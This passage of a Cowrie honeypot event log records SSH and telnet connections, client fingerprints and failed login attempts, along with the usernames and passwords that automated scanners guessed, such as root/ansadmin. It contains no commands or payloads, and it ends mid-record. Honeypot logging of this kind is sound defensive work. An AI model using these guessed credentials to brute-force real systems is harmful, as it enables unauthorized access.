{"eventid":"cowrie.login.failed","username":"vpnuser","password":"123456","message":"login attempt [vpnuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:51.683282Z","src_ip":"185.153.231.45","session":"794e81c5791a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:52.813711Z","src_ip":"185.153.231.45","session":"794e81c5791a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":37758,"dst_ip":"159.203.135.109","dst_port":23,"session":"230ac3c6b599","protocol":"telnet","message":"New connection: 74.91.213.120:37758 (159.203.135.109:23) [session: 230ac3c6b599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:53.678843Z"}
{"eventid":"cowrie.session.closed","duration":31.13187551498413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:54.872118Z","src_ip":"74.91.213.120","session":"be5b184572ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43898,"dst_ip":"159.203.135.109","dst_port":22,"session":"d07d7f924ada","protocol":"ssh","message":"New connection: 45.153.34.114:43898 (159.203.135.109:22) [session: d07d7f924ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:57.114357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:57.119916Z","src_ip":"45.153.34.114","session":"d07d7f924ada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:57.204835Z","src_ip":"45.153.34.114","session":"d07d7f924ada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":49906,"dst_ip":"10.17.0.5","dst_port":22,"session":"225ae2244d24","protocol":"ssh","message":"New connection: 159.195.79.219:49906 (10.17.0.5:22) [session: 225ae2244d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:58.379308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:58.384056Z","src_ip":"159.195.79.219","session":"225ae2244d24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:58.477230Z","src_ip":"159.195.79.219","session":"225ae2244d24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fai","message":"login attempt [root/fai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:58.872254Z","src_ip":"159.195.79.219","session":"225ae2244d24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:31:59.965605Z","src_ip":"159.195.79.219","session":"225ae2244d24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:05.115755Z","src_ip":"45.153.34.114","session":"d07d7f924ada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":29653,"dst_ip":"10.17.0.5","dst_port":22,"session":"73fcd83f261c","protocol":"ssh","message":"New connection: 175.107.32.186:29653 (10.17.0.5:22) [session: 73fcd83f261c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:10.610719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:10.615564Z","src_ip":"175.107.32.186","session":"73fcd83f261c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:10.834661Z","src_ip":"175.107.32.186","session":"73fcd83f261c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ansadmin","message":"login attempt [root/ansadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:11.744586Z","src_ip":"175.107.32.186","session":"73fcd83f261c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:12.967587Z","src_ip":"175.107.32.186","session":"73fcd83f261c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":35842,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bb80695ba3c","protocol":"ssh","message":"New connection: 45.61.187.220:35842 (159.203.135.109:22) [session: 4bb80695ba3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:16.968412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:16.973444Z","src_ip":"45.61.187.220","session":"4bb80695ba3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:17.028114Z","src_ip":"45.61.187.220","session":"4bb80695ba3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Admin","message":"login attempt [root/123Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:17.263639Z","src_ip":"45.61.187.220","session":"4bb80695ba3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:18.321515Z","src_ip":"45.61.187.220","session":"4bb80695ba3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":53576,"dst_ip":"159.203.135.109","dst_port":23,"session":"a306e469bbd5","protocol":"telnet","message":"New connection: 74.91.213.120:53576 (159.203.135.109:23) [session: a306e469bbd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:18.747590Z"}
{"eventid":"cowrie.session.closed","duration":31.134865283966064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:20.947520Z","src_ip":"74.91.213.120","session":"3f637f9c287a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":53586,"dst_ip":"159.203.135.109","dst_port":23,"session":"73cb1c8f6744","protocol":"telnet","message":"New connection: 74.91.213.120:53586 (159.203.135.109:23) [session: 73cb1c8f6744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:22.059515Z"}
{"eventid":"cowrie.session.closed","duration":31.139766693115234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:24.818479Z","src_ip":"74.91.213.120","session":"230ac3c6b599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":41584,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1badeb881db","protocol":"ssh","message":"New connection: 125.16.27.190:41584 (159.203.135.109:22) [session: f1badeb881db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:25.835538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:25.839248Z","src_ip":"125.16.27.190","session":"f1badeb881db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:26.116606Z","src_ip":"125.16.27.190","session":"f1badeb881db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":54250,"dst_ip":"159.203.135.109","dst_port":22,"session":"15bf0e31e55f","protocol":"ssh","message":"New connection: 66.113.163.125:54250 (159.203.135.109:22) [session: 15bf0e31e55f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:26.310619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:26.320702Z","src_ip":"66.113.163.125","session":"15bf0e31e55f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:26.356899Z","src_ip":"66.113.163.125","session":"15bf0e31e55f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"J5cmmu=Kyf0-br8CsW","message":"login attempt [root/J5cmmu=Kyf0-br8CsW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:26.541893Z","src_ip":"66.113.163.125","session":"15bf0e31e55f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":40430,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbb6c6062cfa","protocol":"ssh","message":"New connection: 107.0.200.227:40430 (159.203.135.109:22) [session: dbb6c6062cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:27.327545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:27.332737Z","src_ip":"107.0.200.227","session":"dbb6c6062cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:27.366952Z","src_ip":"107.0.200.227","session":"dbb6c6062cfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"matias","message":"login attempt [root/matias] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:27.529727Z","src_ip":"107.0.200.227","session":"dbb6c6062cfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:27.580690Z","src_ip":"66.113.163.125","session":"15bf0e31e55f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:28.564042Z","src_ip":"107.0.200.227","session":"dbb6c6062cfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sg1424guad12","message":"login attempt [root/sg1424guad12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:30.864389Z","src_ip":"125.16.27.190","session":"f1badeb881db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:32.152208Z","src_ip":"125.16.27.190","session":"f1badeb881db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38738,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a83a6db1afe","protocol":"telnet","message":"New connection: 74.91.213.120:38738 (159.203.135.109:23) [session: 5a83a6db1afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:35.043052Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":53764,"dst_ip":"159.203.135.109","dst_port":22,"session":"c89d8dabd360","protocol":"ssh","message":"New connection: 185.153.231.45:53764 (159.203.135.109:22) [session: c89d8dabd360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:35.694717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:35.699239Z","src_ip":"185.153.231.45","session":"c89d8dabd360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS